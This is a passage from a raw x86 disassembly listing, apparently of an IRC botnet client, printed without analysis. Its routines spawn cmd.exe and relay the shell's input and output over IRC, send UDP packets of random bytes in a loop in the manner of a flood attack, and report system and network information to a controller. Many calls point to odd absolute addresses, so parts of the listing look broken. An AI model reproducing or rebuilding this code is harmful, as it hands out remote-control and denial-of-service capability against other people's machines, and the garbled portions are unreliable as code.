[eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43ACBC inc esi cmp esi, [ebp+var_40] jl short loc_40B086 loc_40B0AC: ; CODE XREF: sub_40AF86+FEj push [ebp+arg_0] call dword_43AE50 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DA9C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B0F5 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B0F5: ; CODE XREF: sub_40AF86+14Dj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push ebx nop call near ptr 261095Eh sub_40AF86 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B112 proc near ; DATA XREF: sub_40EE72+2FA9o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi nop call near ptr 2610EF3h push eax call sub_417302 pop ecx push 11h push 2 push 2 call dword_43AE18 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B1F7 lea eax, [ebp+var_B0] push eax call dword_43AE1C cmp eax, edi jnz short loc_40B1F0 lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB4C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B1D3 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B1D3: ; CODE XREF: sub_40B112+9Fj lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push esi call near ptr 261095Eh nop loc_40B1F0: ; CODE XREF: sub_40B112+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B1FA ; --------------------------------------------------------------------------- loc_40B1F7: ; CODE XREF: sub_40B112+6Ej lea eax, [ebp+arg_0] loc_40B1FA: ; CODE XREF: sub_40B112+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B215 call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B218 ; --------------------------------------------------------------------------- loc_40B215: ; CODE XREF: sub_40B112+F0j push [ebp+var_24] loc_40B218: ; CODE XREF: sub_40B112+101j call dword_43AD98 cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B22A mov [ebp+var_24], esi loc_40B22A: ; CODE XREF: sub_40B112+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B237 mov [ebp+var_24], eax loc_40B237: ; CODE XREF: sub_40B112+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B24B mov [ebp+var_28], esi loc_40B24B: ; CODE XREF: sub_40B112+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B26C loc_40B252: ; CODE XREF: sub_40B112+158j call sub_41730C cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B252 loc_40B26C: ; CODE XREF: sub_40B112+13Ej ; sub_40B112+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_40B2CB push 0Bh pop esi loc_40B279: ; CODE XREF: sub_40B112+197j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41730C push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43ADFC push [ebp+var_28] nop call near ptr 26207A4h dec esi jnz short loc_40B279 cmp [ebp+var_24], edi jnz short loc_40B26C call sub_41730C cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43AD98 mov [ebp+var_E], ax jmp short loc_40B26C ; --------------------------------------------------------------------------- loc_40B2CB: ; CODE XREF: sub_40B112+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42DB10 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B30B push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D679 add esp, 14h loc_40B30B: ; CODE XREF: sub_40B112+1D7j lea eax, [ebp+var_334] push eax call sub_40BF6D push [ebp+var_20] call sub_417078 pop ecx pop ecx push edi nop call near ptr 261095Eh sub_40B112 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_40B358+2Ap ; sub_40B390+7Ep ... mov eax, dword_43B0E4 push esi mov esi, dword_424078 cmp eax, 0FFFFFFFFh jz short loc_40B33C push eax call esi loc_40B33C: ; CODE XREF: sub_40B328+Fj mov eax, dword_43B0EC cmp eax, 0FFFFFFFFh jz short loc_40B349 push eax call esi loc_40B349: ; CODE XREF: sub_40B328+1Cj mov eax, dword_43B0E0 cmp eax, 0FFFFFFFFh jz short loc_40B356 push eax call esi loc_40B356: ; CODE XREF: sub_40B328+29j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40C351+14Ap ; sub_40EE72+4881p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_417AB0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43B0E8 nop call near ptr 2660000h test eax, eax jnz short loc_40B38B call sub_40B328 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B38B: ; CODE XREF: sub_40B358+28j push 1 pop eax leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B390 proc near ; CODE XREF: sub_40B417+D3p ; sub_40B417+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_436EDC push [ebp+arg_4] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40B3D3 push 7D0h call near ptr 26207A4h nop push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_4172B0 add esp, 10h jmp short loc_40B3EA ; --------------------------------------------------------------------------- loc_40B3D3: ; CODE XREF: sub_40B390+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_4172B0 add esp, 0Ch loc_40B3EA: ; CODE XREF: sub_40B390+41j lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43ADE8 test eax, eax jg short loc_40B413 call sub_40B328 loc_40B413: ; CODE XREF: sub_40B390+7Cj xor eax, eax leave retn sub_40B390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B417 proc near ; DATA XREF: sub_40B56C+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43B0F0 loc_40B42F: ; CODE XREF: sub_40B417+79j ; sub_40B417+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43B0E4 nop call near ptr 27A03E7h test eax, eax jz loc_40B4FD cmp [ebp+var_4], edi jnz short loc_40B492 lea eax, [ebp+var_8] push eax push dword_43B0E0 nop call near ptr 27A0000h test eax, eax jz short loc_40B488 cmp [ebp+var_8], 103h jnz loc_40B521 loc_40B488: ; CODE XREF: sub_40B417+62j push 0Ah nop call near ptr 26207A4h jmp short loc_40B42F ; --------------------------------------------------------------------------- loc_40B492: ; CODE XREF: sub_40B417+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B4A9 loc_40B499: ; CODE XREF: sub_40B417+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B4F7 inc eax cmp eax, [ebp+var_4] jb short loc_40B499 loc_40B4A9: ; CODE XREF: sub_40B417+80j mov [ebp+var_4], esi loc_40B4AC: ; CODE XREF: sub_40B417+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43B0E4 call near ptr 2650000h nop test eax, eax jz short loc_40B549 lea eax, [ebp+var_20C] push eax push ebx push dword_43B124 call sub_40B390 add esp, 0Ch jmp loc_40B42F ; --------------------------------------------------------------------------- loc_40B4F7: ; CODE XREF: sub_40B417+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B4AC ; --------------------------------------------------------------------------- loc_40B4FD: ; CODE XREF: sub_40B417+45j push offset dword_42DC0C push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push 1 nop call near ptr 261095Eh loc_40B521: ; CODE XREF: sub_40B417+6Bj call sub_40B328 push offset dword_42DBD4 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 261095Eh loc_40B549: ; CODE XREF: sub_40B417+C3j push offset dword_42DB94 push ebx push dword_43B124 call sub_40B390 push [ebp+arg_0] call sub_417078 add esp, 10h push edi nop call near ptr 261095Eh sub_40B417 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B56C proc near ; CODE XREF: sub_40C351+99p ; sub_40EE72+5774p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B328 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43AE54 test eax, eax jz loc_40B666 push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_424140 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_40B666 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_40B666 mov edi, dword_42413C push 3 push esi push esi push offset dword_43B0E8 call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 27A066Dh test eax, eax jz short loc_40B666 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417330 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_436EDC push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2780514h test eax, eax jnz short loc_40B66E loc_40B666: ; CODE XREF: sub_40B56C+2Fj ; sub_40B56C+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B71C ; --------------------------------------------------------------------------- loc_40B66E: ; CODE XREF: sub_40B56C+F8j push [ebp+var_4] mov edi, dword_424078 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43B0E4, eax mov eax, [ebp+var_8] mov dword_43B0EC, eax mov eax, [ebp+var_2C] mov dword_43B0E0, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43B124, eax jz short loc_40B6A8 push [ebp+arg_4] jmp short loc_40B6A9 ; --------------------------------------------------------------------------- loc_40B6A8: ; CODE XREF: sub_40B56C+135j push ebx loc_40B6A9: ; CODE XREF: sub_40B56C+13Aj push offset dword_43B0F0 call sub_4172B0 pop ecx pop ecx push esi push 7 push offset dword_42DC90 call sub_416D5C mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_4407F8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B417 push esi push esi nop call near ptr 26A0AA3h cmp eax, esi mov dword_440804[edi], eax jnz short loc_40B71A nop call near ptr 26702AAh push eax lea eax, [ebp+var_378] push offset dword_42DC4C push eax call sub_4172B0 lea eax, [ebp+var_378] push eax call sub_40BF6D add esp, 10h loc_40B71A: ; CODE XREF: sub_40B56C+185j xor eax, eax loc_40B71C: ; CODE XREF: sub_40B56C+FDj pop edi pop esi pop ebx leave retn sub_40B56C endp ; =============== S U B R O U T I N E ======================================= sub_40B721 proc near ; CODE XREF: sub_407110+74p ; sub_40B8D8+217p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2610EF3h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_43B12C push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41782A add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_40B721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B78A proc near ; CODE XREF: sub_409037+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 27C0000h test eax, eax jz short loc_40B81D cmp [ebp+var_90], 4 jnz short loc_40B7F3 cmp [ebp+var_8C], esi jnz short loc_40B7DB cmp [ebp+var_84], 1 jnz short loc_40B7CE push 1 pop esi loc_40B7CE: ; CODE XREF: sub_40B78A+3Fj cmp [ebp+var_84], 2 jnz short loc_40B81D push 1 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40B78A+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B7E8 loc_40B7E4: ; CODE XREF: sub_40B78A+78j push 2 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B7E8: ; CODE XREF: sub_40B78A+58j cmp [ebp+var_8C], 5Ah jnz short loc_40B81D jmp short loc_40B80D ; --------------------------------------------------------------------------- loc_40B7F3: ; CODE XREF: sub_40B78A+2Ej cmp [ebp+var_90], 5 jnz short loc_40B81D cmp [ebp+var_8C], esi jz short loc_40B7E4 cmp [ebp+var_8C], 1 jnz short loc_40B811 loc_40B80D: ; CODE XREF: sub_40B78A+67j push 3 jmp short loc_40B81C ; --------------------------------------------------------------------------- loc_40B811: ; CODE XREF: sub_40B78A+81j cmp [ebp+var_8C], 2 jnz short loc_40B81D push 7 loc_40B81C: ; CODE XREF: sub_40B78A+4Fj ; sub_40B78A+5Cj ... pop esi loc_40B81D: ; CODE XREF: sub_40B78A+25j ; sub_40B78A+4Bj ... mov eax, esi pop esi leave retn sub_40B78A endp ; =============== S U B R O U T I N E ======================================= sub_40B822 proc near ; CODE XREF: sub_40B8D8+290p push ebx push esi push edi mov esi, 0F4240h loc_40B82A: ; CODE XREF: sub_40B822+2Fj ; sub_40B822+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 26207A4h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_419250 mov edi, edx mov ebx, eax test edi, edi ja short loc_40B82A jb short loc_40B859 cmp ebx, esi ja short loc_40B82A loc_40B859: ; CODE XREF: sub_40B822+31j push 0 push 64h push edi push ebx call sub_4191D0 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_40B8CC jb short loc_40B878 cmp esi, 50h jnb short loc_40B87D loc_40B878: ; CODE XREF: sub_40B822+4Fj push 4Bh xor edx, edx pop eax loc_40B87D: ; CODE XREF: sub_40B822+54j test ecx, ecx ja short loc_40B8CC jb short loc_40B888 cmp esi, 47h jnb short loc_40B88D loc_40B888: ; CODE XREF: sub_40B822+5Fj push 42h xor edx, edx pop eax loc_40B88D: ; CODE XREF: sub_40B822+64j test ecx, ecx ja short loc_40B8CC jb short loc_40B898 cmp esi, 37h jnb short loc_40B89D loc_40B898: ; CODE XREF: sub_40B822+6Fj push 32h xor edx, edx pop eax loc_40B89D: ; CODE XREF: sub_40B822+74j test ecx, ecx ja short loc_40B8CC jb short loc_40B8A8 cmp esi, 26h jnb short loc_40B8AD loc_40B8A8: ; CODE XREF: sub_40B822+7Fj push 21h xor edx, edx pop eax loc_40B8AD: ; CODE XREF: sub_40B822+84j test ecx, ecx ja short loc_40B8CC jb short loc_40B8B8 cmp esi, 1Eh jnb short loc_40B8BD loc_40B8B8: ; CODE XREF: sub_40B822+8Fj push 19h xor edx, edx pop eax loc_40B8BD: ; CODE XREF: sub_40B822+94j test ecx, ecx ja short loc_40B8CC jb short loc_40B8C8 cmp esi, 0Ah jnb short loc_40B8CC loc_40B8C8: ; CODE XREF: sub_40B822+9Fj xor eax, eax xor edx, edx loc_40B8CC: ; CODE XREF: sub_40B822+4Dj ; sub_40B822+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_40B822 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D8 proc near ; CODE XREF: sub_40EE72+59EEp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_436EDC mov [ebp+var_CC], 94h nop call near ptr 27C0000h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B95F cmp [ebp+var_C4], ebx jnz short loc_40B93B cmp [ebp+var_BC], 1 jnz short loc_40B925 mov [ebp+var_4], offset a95 ; "95" loc_40B925: ; CODE XREF: sub_40B8D8+44j cmp [ebp+var_BC], 2 jnz loc_40B9DA mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B9AB ; --------------------------------------------------------------------------- loc_40B93B: ; CODE XREF: sub_40B8D8+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B94D mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B94D: ; CODE XREF: sub_40B8D8+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B99B mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B95F: ; CODE XREF: sub_40B8D8+33j cmp [ebp+var_C8], 5 jnz short loc_40B99B cmp [ebp+var_C4], ebx jnz short loc_40B979 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B979: ; CODE XREF: sub_40B8D8+96j cmp [ebp+var_C4], 1 jnz short loc_40B98B mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B9A2 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B8D8+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B9A2 loc_40B99B: ; CODE XREF: sub_40B8D8+7Cj ; sub_40B8D8+8Ej mov [ebp+var_4], offset dword_42DDDC loc_40B9A2: ; CODE XREF: sub_40B8D8+73j ; sub_40B8D8+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B9DA loc_40B9AB: ; CODE XREF: sub_40B8D8+61j cmp [ebp+var_B8], bl jz short loc_40B9DA lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42DDD4 push eax call sub_4172B0 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B9DA: ; CODE XREF: sub_40B8D8+54j ; sub_40B8D8+D1j ... mov ax, word_42DDD0 push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43AC84 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_40BA13 lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_40BA13: ; CODE XREF: sub_40B8D8+12Cj push [ebp+arg_4] call sub_40AEE0 pop ecx push eax call dword_43ADD8 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_40BA3C push dword ptr [eax] jmp short loc_40BA41 ; --------------------------------------------------------------------------- loc_40BA3C: ; CODE XREF: sub_40B8D8+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40BA41: ; CODE XREF: sub_40B8D8+162j lea eax, [ebp+var_3E4] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 26207EAh lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi nop call near ptr 26A0000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2690000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 27D0000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_4192B8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B721 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40D01A pop ecx pop ecx push eax call sub_40B822 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B8D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB8C proc near ; CODE XREF: sub_40EE72+4555p ; sub_40EE72+5A1Fp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417330 add esp, 0Ch cmp dword_43AE80, 0 jnz short loc_40BBF8 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43AC68 test eax, eax jnz short loc_40BBE1 lea eax, [ebp+var_8C] push offset dword_42DE50 push eax call sub_4172B0 pop ecx pop ecx loc_40BBE1: ; CODE XREF: sub_40BB8C+40j test [ebp+var_C], 1 jz short loc_40BBEE push offset dword_42DE48 jmp short loc_40BBF3 ; --------------------------------------------------------------------------- loc_40BBEE: ; CODE XREF: sub_40BB8C+59j push offset off_42DE44 loc_40BBF3: ; CODE XREF: sub_40BB8C+60j lea eax, [ebp+var_8] jmp short loc_40BC10 ; --------------------------------------------------------------------------- loc_40BBF8: ; CODE XREF: sub_40BB8C+28j mov esi, offset off_42DE40 lea eax, [ebp+var_8] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_40BC10: ; CODE XREF: sub_40BB8C+6Aj push eax call sub_4172B0 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41782A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40BB8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC4B proc near ; DATA XREF: sub_40EE72+4974o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_42DF80 call sub_417330 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417330 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417330 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417330 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417330 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_417AB0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43ACA0 test eax, eax jz loc_40BDE5 cmp [ebp+var_34], ebx jbe short loc_40BD22 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE 